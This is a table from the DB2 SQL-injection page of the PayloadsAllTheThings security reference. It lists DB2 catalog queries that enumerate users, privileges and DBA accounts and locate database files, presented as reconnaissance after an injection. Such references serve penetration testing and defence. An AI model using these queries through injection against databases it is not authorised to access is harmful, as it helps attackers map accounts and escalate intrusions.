| Description | SQL Query | | -------------------- | -------------------------------------------------------------------------------- | | List users | `select distinct(grantee) from sysibm.systabauth` | | List users | `select distinct(definer) from syscat.schemata` | | List users | `select distinct(authid) from sysibmadm.privileges` | | List users | `select grantee from syscat.dbauth` | | List privileges | `select * from syscat.tabauth` | | List privileges | `select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies` | | List DBA accounts | `select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'` | | List DBA accounts | `select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'` | | Location of DB files | `select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'` |
Source: SQL Injection/DB2 Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.